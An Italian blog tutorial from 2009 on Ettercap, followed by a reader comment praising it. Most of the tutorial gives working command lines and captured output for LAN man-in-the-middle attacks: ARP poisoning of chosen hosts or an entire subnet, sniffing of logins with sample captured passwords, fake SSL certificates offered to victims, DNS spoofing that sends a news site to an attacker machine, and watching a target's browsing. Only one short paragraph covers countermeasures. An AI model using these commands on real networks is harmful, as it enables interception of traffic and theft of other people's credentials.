Ettercap, uno sniffer per ambienti switched (e molto più)
by admin on Dec.22, 2009, under Hacking, Linux, Sicurezza
L’impossibilità di analizzare traffico con sorgente e destinazione diversi da quelli locali è una tipica limitazione dei normali sniffer quando vengono utilizzati in ambienti dotati di switch, in cui quest’ultimo provvede ad inoltrare su ogni singola porta solo i pacchetti destinati agli host direttamente connessi alla porta stessa, oltre ai broadcast che vengono propagati invece a tutte le porte (o quantomeno a tutte le porte della stessa VLAN).
Ettercap, un software open source, disponibile nei termini della GNU GPL e sviluppato da due programmatori italiani (Alberto Ornaghi e Marco Valleri), è uno sniffer evoluto che permette la cattura del traffico anche in reti in cui è presente uno switch, utilizzando la “arp cache poisoning” (vengono spediti pacchetti arp reply finti, che associano il mac address della macchina su cui gira ettercap agli IP destinatario e sorgente), tramite la quale si frappone fra una o più macchine, ignare di ciò, e la macchina bersaglio (che può essere un server o il gateway di default di una rete).
In altri termini Ettercap è una suite per attacchi di tipo “man in the middle” in ambiente LAN, che supporta la dissezione attiva e passiva di molti protocolli (anche cifrati) e dispone di ampie capacità per l’analisi di reti e di hosts.
La principale tecnica per attacchi in LAN ethernet di tipo switched è l’Arp Spoofing. Per comprenderlo dobbiamo ricordare alcuni dettagli del protocollo ethernet. I pacchetti IP sono incapsulati in frame ethernet ed inviati dalla scheda di rete sui cavi. Ogni frame ethernet è inviata ad un indirizzo, detto MAC address, di un’altra scheda ethernet sulla stessa LAN. Uno switch ricorda i MAC address delle schede di rete connesse ad ognuna delle sue porte ed invia solo i pacchetti destinati ad ognuna di esse attraverso la relativa porta.
E’ pertanto normalmente necessario associare agli indirizzi IP delle macchine sulla rete locale i MAC address delle relative schede di rete.
Il protocollo ARP (Address Resolution Protocol) altro non è che il sistema che permette, all’interno di una rete che utilizza il protocollo IP, di convertire l’indirizzo IP in MAC address, così da instradare correttamente ogni pacchetto dati.
Per evitare che ad ogni pacchetto dati ARP, occorra richiedere l’indirizzo, in ogni elaboratore è presente una memoria cache che memorizza le associazioni tra IP e MAC per un certo periodo di tempo.
Ogni elaboratore mantiene cioè una tabella detta Arp Table con le relative corrispondenze.
Di norma, all’atto della accensione di una macchina questa tabella è vuota, quando poi un elaboratore deve contattare un’altra macchina di cui conosce il numero IP ma non il MAC address, invia a tutte le macchine sulla LAN una arp-request (in broadcast) per il numero IP in questione. La macchina che ha tale numero IP risponde con il proprio MAC address. Per velocizzare il riempimento delle tavole Arp, spesso all’avvio un elaboratore invia a tutte le macchine un unsolicited-arp con il quale informa tutte le macchine del proprio numero IP e MAC address.
Un elaboratore che riceve una informazione Arp per un indirizzo IP per il quale ha già il MAC address nella tavola Arp, sostituisce il vecchio MAC con il nuovo a meno che l’amministratore non abbia specificatamente marcato il MAC address nella tavola come immutabile. Questo comportamento del protocollo Arp permette in condizioni normali di sostituire schede ethernet, cambiare indirizzi IP ecc. senza doversi curare di quello che succede a livello ethernet. Da questo punto di vista possiamo dire che la LAN ethernet a livello 2 della pila ISO/OSI si auto-configura.
Questa semplicità può essere però sfruttata per un semplice attacco man-in-the-middle.
Ettercap dispone inoltre di una serie di altre features notevoli:
- OS fingerprinting per il riconoscimento dei sistemi operativi sugli Host rinvenuti in rete;
- Possibilità di terminare una connessione o inserire caratteri estranei;
- Modifica, sostituizione o cancellazione di dati in transito in una connessione
- Intercettazione delle password trasmesse su protocolli quali FTP, HTTP, POP, SSH, TELNET, POP, IMAP, rlogin, ICQ, SMB, MySQL, NNTP, X11, Napster, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, Quake 3, MSN, ecc.
- SSH 1 e HTTPS password sniffing; fornitura di certificati SSL falsi durante le sessioni HTTPS delle “vittime”.
- Supporto di plugin vari che lo arricchiscono di ulteriori features quali DNS spoofing, PPTP sniffing.
- Hijacking di richieste DNS.
Ettercap possiede anche la capacità di rinvenire altri elementi avvelenatori nella LAN, sia attivamente che passivamente.
Installazione di Ettercap
Si può fare tranquillamente ricorso ai packages disponibili per le tante versioni Linux, ad esempio, per Ubuntu 9.10, bastano dei semplici:
# apt-get install ettercap-common
# apt-get install ettercap
in alternativa al package ettercap è possibile installare il package ettercap-gtk.
altrimenti si può scaricare il tarball dei sorgenti da sourceforge (http://prdownloads.sourceforge.net/ettercap/ettercap-NG-0.7.3.tar.gz?download) e compilarlo manualmente.
./configure
make
make install
make plug-ins
make plug-ins_install
Il binario ettercap viene copiato per default in /usr/local/sbin
All’avvio ettercap esegue una rapida scansione degli host presenti nella rete locale (viene effettuato un arp request per ogni IP della rete e non un semplice ping a tutti gli IP o al broadcast) e ne viene presentata una lista a video.
Dalla lista ottenuta è possibile selezionare gli IP sorgenti e destinatari da monitorare e si possono richiamare le molteplici e potenti opzioni applicabili con il tasto h.
Esistono diverse modalità di sniffing: IP based (s), MAC based (m) e ARP poisoning based (a), quella più efficace, in grado di effettuare lo sniffing in ambienti switched.
Sempre dalla finestra principale, in cui vengono visualizzati tutti gli IP in rete, è possibile identificare i sistemi operativi utilizzati (f), effettuare un puro Arp poisoning senza sniffing (j), creare pacchetti custom (x), utilizzare uno dei tanti (potentissimi) plugin distribuiti con il tarball ufficiale (p), avviare uno scanning passivo, basandosi solamente sugli host per i quali esiste traffico (o) e controllare se ci sono in rete altri arp cache poisoners (c).
Tutte queste opzioni a loro volta provocano l’apertura di una ulteriore finestra che può presentare alcuni comandi specifici.
Si possono sempre utilizzare il tasto h per ottenere un HELP e il tasto q per tornare alla finestra precedente.
Utilizzo
Per avviare il programma basta digitare “ettercap”
# ettercap
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Please select an User Interface
Ci viene chiesto di selezionare una interfaccia utente.
Qui Interface si riferisce infatti alla scelta di una interfaceccia testuale oppure “Ncurses” oppure “Gtk”.
L’opzione da utilizzare può essere dunque:
-T <- per una interfaccia testuale
-C <- per una interfaccia basata su Ncurses
-G <- per una interfaccia basata su GTK (nel caso avessimo installato ettercap-gtk)
Dato che stiamo operando in un terminale utilizziamo per ora la interfaccia testuale.
Una nutrita schermata di help è intanto immediatamente disponibile digitando:
# ettercap -T -h
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]
TARGET is in the format MAC/IPs/PORTs (see the man for further detail)
Sniffing and Attack options:
-M, --mitm perform a mitm attack
-o, --only-mitm don't sniff, only perform the mitm attack
-B, --bridge use bridged sniff (needs 2 ifaces)
-p, --nopromisc do not put the iface in promisc mode
-u, --unoffensive do not forward packets
-r, --read read data from pcapfile
-f, --pcapfilter set the pcap filter
-R, --reversed use reversed TARGET matching
-t, --proto
sniff only this proto (default is all)
User Interface Type:
-T, --text use text only GUI
-q, --quiet do not display packet contents
-s, --script issue these commands to the GUI
-C, --curses use curses GUI
-G, --gtk use GTK+ GUI
-D, --daemon daemonize ettercap (no GUI)
Logging options:
-w, --write write sniffed data to pcapfile
-L, --log log all the traffic to this
-l, --log-info log only passive infos to this
-m, --log-msg log all the messages to this
-c, --compress use gzip compression on log files
Visualization options:
-d, --dns resolves ip addresses into hostnames
-V, --visual
set the visualization format
-e, --regex visualize only packets matching this regex
-E, --ext-headers print extended header for every pck
-Q, --superquiet do not display user and password
General options:
-i, --iface use this network interface
-I, --iflist show all the network interfaces
-n, --netmask force this on iface
-P, --plugin
launch this
-F, --filter load the filter (content filter)
-z, --silent do not perform the initial ARP scan
-j, --load-hosts load the hosts list from
-k, --save-hosts save the hosts list to
-W, --wep-key use this wep key to decrypt wifi packets
-a, --config use the alterative config file
Questo comando elenca tutti i plugins disponibili.
# ettercap -P list
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Available plugins :
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 1.1 Check if the poisoning had success
dns_spoof 1.1 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try to find ettercap activity
find_ip 1.0 Search an unused IP address in the subnet
finger 1.6 Fingerprint a remote host
finger_submit 1.0 Submit a fingerprint to ettercap's website
gre_relay 1.0 Tunnel broker for redirected GRE tunnels
gw_discover 1.0 Try to find the LAN gateway
isolate 1.0 Isolate an host from the lan
link_type 1.0 Check the link type (hub/switch)
pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2
pptp_clear 1.0 PPTP: Tries to force cleartext tunnel
pptp_pap 1.0 PPTP: Forces PAP authentication
pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation
rand_flood 1.0 Flood the LAN with random MAC addresses
remote_browser 1.2 Sends visited URLs to the browser
reply_arp 1.0 Simple arp responder
repoison_arp 1.0 Repoison after broadcast ARP
scan_poisoner 1.0 Actively search other poisoners
search_promisc 1.2 Search promisc NICs in the LAN
smb_clear 1.0 Tries to force SMB cleartext auth
smb_down 1.0 Tries to force SMB to not use NTLM2 key auth
stp_mangler 1.0 Become root of a switches spanning tree
-U, --update updates the databases from ettercap website
-v, --version prints the version and exit
-h, --help this help screen
q
#
Digitiamo quindi:
# ettercap -T
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 00:1A:92:B8:1A:EC 192.168.1.10 255.255.255.0
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Dal momento che è stato iniziata una attività di sniffing dovrebbe apparire a schermo il contenuto dei pacchetti.
[...]
Sun Dec 20 13:48:04 2009
TCP 192.168.1.10:33731 –> 192.168.1.1:80 | AP
GET / HTTP/1.1.
Host: 192.168.1.1.
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020409 Iceweasel/3.0.6 (Debian-3.0.6-1).
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.
Accept-Language: en-us,en;q=0.5.
Accept-Encoding: gzip,deflate.
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7.
Keep-Alive: 300.
Connection: keep-alive.
[...]
q
#
La pressione del tasto “q” è il modo più regolare di interrompere ettercap.
Selezione della interfaccia di rete
Un computer può essere dotato di più di una interfaccia di rete, una per lan cablata, una per una lan wireless, l’interfaccia di loopback, e così via.
ettercap può operare con qualsiasi interfaccia, tutto ciò che occorre fare è indicarla.
Per elencare le interfaccie di rete disponibili:
# ettercap -Tq -I
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
List of available Network Interfaces:
eth0 eth0
wifi0 wifi0
ath0 ath0
ppp0 ppp0
usbmon1 USB bus number 1
usbmon2 USB bus number 2
lo Local Loopback
Per selezionare una interfaccia particolare, ad esempio eth0, si usa:
# ettercap -Tq -i eth0
Riguardo alla specificazione di un particolare target non esiste un vero e proprio concetto di sorgente o destinazione. I due targets vengono intesi nel senso di filtrare il traffico da uno all’altro e viceversa (dal momento che la connessione è bidirezionale).
TARGET va inteso nella forma MAC/IPs/PORTs. Si può omettere di specificare una qualsiasi tra queste parti e ciò verrà inteso come la risposta ANY riguardo tale parte.
Ad esempio:
“//80″ significa ANY mac address, ANY ip ed ONLY port 80
“/10.0.0.1/” significa ANY mac address, ONLY ip 10.0.0.1 ed ANY port
MAC deve esserere unico e nella forma 00:11:22:33:44:55
IPs è un range di IP in notazione “dotted”. Si possono rappresentare range di indirizzi ip tramite il simbolo “-” (trattino) e singoli ip separati da “,” (virgole).
Si possono anche usare caratteri “;” (punto e virgola) per indicare differenti aree di indirizzi ip.
Ad esempio:
“10.0.0.1-5;10.0.1.33″ espande in 10.0.0.1, 2, 3, 4, 5 e 10.0.1.33
PORTs è un range of porte. Si possono rappresentare range di porte tramite il simbolo “-” (trattino) e singole porte separate da “,” (virgole).
Ad esempio:
“20-25,80,110″ espande in porte 20, 21, 22, 23, 24, 25, 80 e 110
Un attacco di tipo “Man in the middle” con ettercap
Supponiamo che vi siano due macchine che comunicano normalmente tra loro, xp1 con indirizzo 192.168.1.253, e linux1 con indirizzo 192.168.1.254, e una macchina attaccante di nome attack1 con indirizzo 192.168.1.10.
L’attaccante utilizza dei pacchetti di tipo unsolicited arp per cambiare le tabelle Arp delle due macchine bersaglio facendo a queste il proprio indirizzo MAC al posto di quello della relativa controparte.
Utilizzando ettercap su attack1, l’attacco è molto semplice, basta dare il comando ettercap -a 192.168.1.253 192.168.1.254. L’opzione -a indica di effettuare un attacco di sniffing basato sulla manipolazione delle tabelle Arp delle due macchine indicate nella linea di comando.
Dopo aver dato questo comando, le tabelle Arp su host1 e gw1 vengono modificate.
Ora, sia host1 che gw1 associano all’indirizzo IP dell’altro il MAC address di attack1 e perciò inviano ad attack1 tutti i pacchetti destinati all’altro.
Per realizzare l’ARP poisoning attack1 invierà delle ARP reply appositamente artefatte: a xp1 invierà una reply che ha come IP quello di linux1 (192.168.1.254) ma come MAC il proprio, a linux1 invierà una reply con IP quello di xp1 (192.168.1.253) e con MAC, anche questa volta, il proprio. Per protrarre l’attacco è necessario inviare delle ARP reply ogni tot (circa 10 secondi) poiché i sistemi operativi cancellano periodicamente e sistematicamente le voci della cache ARP.
In condizioni normali, se attack1 ricevesse dei pacchetti a livello ethernet per un numero IP non proprio, li scarterebbe.
Invece in un attacco mitm, quando attack1 riceve i pacchetti in transito tra xp1 e linux1, ne fa una copia, li modifica se necessario, e poi li invia al legittimo destinatario il quale non si accorge di nulla. Ettercap rende tutto questo procedimento semplice da implementare, anche se questo tipo di attacchi è ben noto e facilmente implementabile in molti altri modi e con molti altri tool.
Per verificare il successo dell’attacco, ci possiamo collegare ad xp1 e scaricare una pagina web tramite linux1.
In realtà il traffico passa attraverso attack1.
Basta qualcosa come:
# ettercap -Tq -i eth0 -M arp:remote /192.168.1.254/ /192.168.1.253/
La sintassi generale è:
# ettercap -Tq -i eth0 -M arp:remote /target-range1/ /target-range2/
I pacchetti tra 192.168.1.254 e 192.168.1.253 verrebbero “hijacked” ed attraverserebbero la nostra macchina.
Con:
# ettercap -Tq -i eth0 -M arp:remote /192.168.12.1/ //
se 192.168.12.1 fosse il gateway della nostra rete, tutti i pacchettti in transito tra il gateway ed il resto delle macchine della subnet passerebbe attraverso la nostra macchina.
Un altro esempio, specificando interi range di indirizzi IP:
# ettercap -Tq -i eth0 -M arp:remote /192.168.1.12-25/ /192.168.1.26-50/
Per un avvelenemento ARP Poison dell’intera LAN, si può usare:
# ettercap -Tq -M arp:remote //
dove le opzioni utilizzate hanno il seguente significato:
- T = Text mode
- q = quiet
- M = Man-In-The-Middle
- arp: = ARP Poisoning
- remote = pacchetti destinati alla WAN (Internet)
- // = target specification vuota; cioè tutti gli hosts
oppure
# ettercap -T -M arp // //
A questo punto, tutti gli utenti della nostra LAN costituirebbero delle potenziali vittime, perché quando accedessero ad esempio al loro account mail, dato che Ettercap esegue lo sniffing anche su account cifrati con SSL come quelli Hotmail e Gmail, si vedrebbero comparire davanti una finestra di dialogo che gli chiederebbe di esaminare il certificato dell’account, (se ne incontrano tanti) , e al momento del loro svogliato probabile consenso, verrebbero catturati con Ettercap i dati dei loro account postali.
Questo vale per tutti i login effettuati dalle potenziali vittime all’interno di una rete LAN, come è tipicamente una rete aziendale.
Packet Logging
Con l’opzione -L, o –log “tutti” i pacchetti catturati da ettercap vengono archiviati in files binari, insieme a tutte le informazioni passive (host info + user & pass) che può raccogliere. Definito un LOGFILE, ettercap creerà LOGFILE.ecp (per i pacchetti) e LOGFILE.eci (per le info).
# cd /var/log/
# mkdir ettercap
# cd ettercap
# ettercap -Tq -L dump -i eth0
Due files vengono generati: dump.eci e dump.ecp. Tali files possono venire successivamente analizzati con etterlog.
Con:
# etterlog dump.eci
verrebbero illustrati i dettagli di connessione dei pacchetti catturati, mentre:
# etterlog -p dump.eci
mostrerebbe invece le passwords catturate (se ve ne sono)
Desiderando esaminare i pacchetti catturati tramite qualche protocol analyser tipo wireshark, non sarebbe possibile aprire direttamente dump.eci e dump.ecp. Perché sia possibile occorre salvare i pacchetti in formato pcap (tcpdump), tramite.
# ettercap -Tq -w dump -i eth0
Si può anche effettuare l’operazione inversa, cioè convertire dal formato pcap al formato etterlog:
# ettercap -Tq -L dump -r pcap.dump
dove pcap.dump è il file salvato nel formato tcpdump.
Possibili Contromisure
Proviamo a considerare delle possibili contromisure a questa pericolosa vulnerabilità.
Ad esempio su linux1 potremmo bloccare la tabella Arp in modo che attack1 non possa cambiarla, tramite il comando: arp -s 192.168.1.254 00:14:85:E2:A0:A8. In questo modo viene assegnato staticamente al numero IP 192.168.1.254 il MAC address 00:14:85:E2:A0:A8 ed Arp non potrà più cambiare questa assegnazione.
Fondamentalmente occorre bloccare le righe di interesse delle tabelle Arp.
Il problema principale di questo approccio è che distribuire e tenere aggiornate su tutte o parte delle macchine tabelle Arp parziali o complete è una attività che non si combina con le odierne esigenze di dinamicità richieste attualmente delle reti aziendali.
Altro attacco
Adesso avviamo ettercap in modalità grafica:
# ettercap -G -L /var/log/ettercap/ettercap.info -l /var/log/ettercap/ettercap.log -m /var/log/ettercap/ettercap.msg
Oltre alla interfaccia grafica, basata su gtk, esiste anche una interfaccia basata su ncurses:
In tal caso si userebbe:
# ettercap -C
Alla apertura dell’interfaccia grafica, dal menù della finestra principale di Ettercap selezioniamo Sniff –> Unified Sniffing –> eth0.
Nello spazio inferiore, dedicato al dialogo tra l’utente e il software, se tutto è andato bene, vedremo comparire una scritta tipo questa:
Listening on eth0... (Ethernet)
eth0 -> 00:13:D3:F5:D3:72 192.168.0.150 255.255.255.0
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Ettercap ha rilevato tutte le informazioni necessarie, ed è quindi pronto ad operare.
Per dare inizio alla scansione degli hosts presenti nella rete locale basta premere la combinazione Ctrl + S oppure selezionare, tramite interfaccia grafica, la sequenza:
Hosts -> Scan for hosts
Il network range da scansionare viene determinato in base alle impostazioni IP fatte in precedenza.
Hosts -> Hosts List
See the MAC & IP addresses of the hosts inside your subnet.
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...
Hosts List
192.168.1.1 00:15:E9:F9:15:C6
192.168.1.253 08:00:27:01:2A:E6
192.168.1.254 00:14:85:E2:A0:A8
Selezioniamo le macchine da avvelenare
Sceglieremo di attuare il poisoning ARP solamente a carico della macchina windows (xp1) con IP 192.168.1.253 e di quella linux (linux1) con IP 192.168.1.254.
Selezioniamo semplicemente la linea riferentesi a 192.168.1.253 e clicchiamo sul pulsante “Add to target 1″.
Analogamente per la linea che si riferisce a 192.168.1.254, cliccando sul pulsante “Add to target 2″.
Se non si seleziona alcuna macchina come target, tutte le macchine appartenenti alla subnet verranno interessate dall’ ARP poisoning.
Adesso spostandoci nella sezione Mitm del menu principale di Ettercap, selezioniamo Arp Poisoning, e quando comparirà la finestra di dialogo per la scelta dei parametri opzionali, mettiamo la spunta su Sniff Remote Connection.
ARP poisoning victims:
GROUP 1 : 192.168.1.253 08:00:27:01:2A:E6
GROUP 2 : 192.168.1.254 00:14:85:E2:A0:A8
Risulta interessante verificare a questo punto la effettiva riuscita della operazione.
Se infatti si osserva la tabella arp dell’host linux1 si riceve:
# arp -an
? (192.168.1.10) at 00:1a:92:b8:1a:ec [ether] on eth1
? (192.168.1.253) at 00:1a:92:b8:1a:ec [ether] on eth1
bizzarra quanto quella presente sull’ host xp1:
C:\Documents and Settings\User\arp -a
Interfaccia: 192.168.1.253 --- 0x2
Indirizzo Internet Indirizzo fisico Tipo
192.168.1.254 00-1a-92-b8-1a-ec dinamico
Ovvero, tutti gli indirizzi ethernet delle macchine interessate corrispondono ora a quello della interfaccia attaccante.
Adesso andiamo in START=>Start Sniffing del menù principale.
Ora ettercap intercetterà tutto il traffico della vittima, comprese le credenziali di accesso.
attack1:/var/log/ettercap# strings ettercap.msg2
Listening on eth0... (Ethernet)
[...]
Host 192.168.1.253 added to TARGET1
Host 192.168.1.254 added to TARGET2
ARP poisoning victims:
GROUP 1 : 192.168.1.253 08:00:27:01:2A:E6
GROUP 2 : 192.168.1.254 00:14:85:E2:A0:A8
Starting Unified sniffing…
[...]
HTTP : 192.168.1.254:80 -> USER: utentefurbo PASS: segretoinviolabile INFO: http://192.168.1.254/progs/login.php
[...]
DNS Spoofing
Utilizzeremo qui invece il plugin di Ettercap conosciuto come dns_spoof per simulare un attacco molto famoso, il DNS spoofing, nel quale un simulatore risponde alle richieste DNS al posto del DNS server.
Tramite lo spoofing DNS, quando viene effettuata una richiesta DNS, lo spoofer risponde al posto del DNS server e fornisce un indirizzo IP diverso da quello legittimo.
Tale attacco può risultare molto insidioso quando vengono simulati siti web importanti come quelli bancari. Questi web servers fasulli possono avere esattamente lo stesso aspetto e presentare la stessa interfaccia di quelli reali.
Per sfruttare il DNS spoofing, occorre utilizzare il plugin dns_spoof.
Questo plugin intercetta le query DNS e replica con una risposta spoofed. Si impostano le voci relative alle query cui il plugin dovrà rispondere modificando appunto il file etter.dns. In particolare il plugin intercetta le richieste A, PTR ed MX.
Se si tratta di una richiesta A, il nome viene ricercato nel file e l’indirizzo ip viene restituito (si può anche fare uso di wildcards nel nome).
Se si tratta di una richiesta PTR, l’ ip viene ricercato nel file ed il nome viene restituito.
Nel caso di una richiesta MX una replica speciale viene assemblata. L’ host viene risolto con un host fasullo “mail.host” ed il record addizionale contenente l’indirizzo ip di ‘mail.host’.
Il successo del DNS poisoning e basato sulla maggiore rapidità di risposta dell’attaccante rispetto al server legittimo.
Analogamente all’esercizio precedente, la prima cosa che dobbiamo fare consiste nel frapporci tra la nostra vittima e il suo DNS.
A questo punto ettercap si occuperà di “filtrare” le richieste della vittima rispondendo prima del DNS.
Supponiamo di voler forzare tutte le visite al sito web www.ilgiornale.it fatte dall’host 192.168.1.253 verso un falso sito web ospitato sulla macchina 192.168.1.10 (stavolta faremo a meno della interfaccia grafica):
La prima operazione da effettuare è impostare il file di configurazione chiamato etter.dns e presente nella directory /usr/share/ettercap/.
# vi /usr/share/ettercap/etter.dns
Questo file è auto esplicativo, e basta aggiungervi in qualche punto:
#
*.ilgiornale.it A 192.168.1.10
www.ilgiornale.it A 192.168.1.10
*
# ettercap -T -M arp:remote /192.168.1.253/ /192.168.1.1/ -P dns_spoof
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 00:1A:92:B8:1A:EC 192.168.1.10 255.255.255.0
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.253 08:00:27:01:2A:E6
GROUP 2 : 192.168.1.1 00:15:E9:F9:15:C6
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating dns_spoof plugin...
[...]
Tue Dec 22 00:44:25 2009
UDP 192.168.1.253:1025 –> 212.216.112.112:53 |
.............www
ilgiornale.it.....
dns_spoof: [www.ilgiornale.it] spoofed to [192.168.1.10]
Closing text interface…
Introducendo www.ilgiornale.it nel web browser di 192.168.1.253 si ottiene una schermata meno terroristica del solito:
remote_browser
Remote_browser è un simpatico plugin che permette di vedere quello che uno sta visitando nel web.
La sintassi del suo utilizzo è:
# ettercap -T -Q -M arp:remote -i eth0 /target_ip/ /gateway_ip/ -P remote_browser
questo comando attiva il plugin remote browser. Avviando ora il vostro web browser, dovreste vedere l’attività di web browsing del target rediretta sul vostro browser.
Perché ciò possa operare correttamente occorre editare il file etter.conf in /etc/etter.conf e modificarlo per utilizzare un browser specifico, che per default è impostato a mozilla.
# the command used by the remote_browser plugin
remote_browser = "mozilla -remote openurl(http://%host%url)"
Indipendentemente dalla visualizzazione su browser, è forse più interessante apprendere quanto avviene da console, come nell’esempio seguente, dove vengono catturate le credenziali di accesso (peraltro ancora quelle predefinite), ad un router D-Link:
# ettercap -T -q -M arp:remote -i eth0 /192.168.1.254/ // -P remote_browser
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 00:1A:92:B8:1A:EC 192.168.1.10 255.255.255.0
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
3 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.254 00:14:85:E2:A0:A8
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating remote_browser plugin...
HTTP : 192.168.1.1:80 -> USER: admin PASS: admin INFO: 192.168.1.1/cgi-bin/webcm
suff .htm
REMOTE COMMAND: mozilla -remote openurl(http://192.168.1.1/cgi-bin/webcm?getpage=../html/home/home_RelaodHref.htm&var:RelaodHref=)
HTTP : 192.168.1.1:80 -> USER: admin PASS: admin INFO: 192.168.1.1/cgi-bin/webcm?getpage=../html/home/home_Relaod
[...]
Per ora è tutto, ma trattandosi di uno strumento piuttosto potente, la trattazione di ettercap proseguirà.


December 23rd, 2009 on 11:44 am
Complimenti per la spiegazione molto esauriente, finalmente ho capito come funziona ettercap e il suo plugin dns_spoofing. Ti prego anche di spiegare e fare esempi con gli altri plugin presenti in ettercap, ce ne sono molti interessanti che vorrei capire come funzionino.
Comunque continua così perchè sei davvero bravo, tutti i tuoi articoli sono fantastici.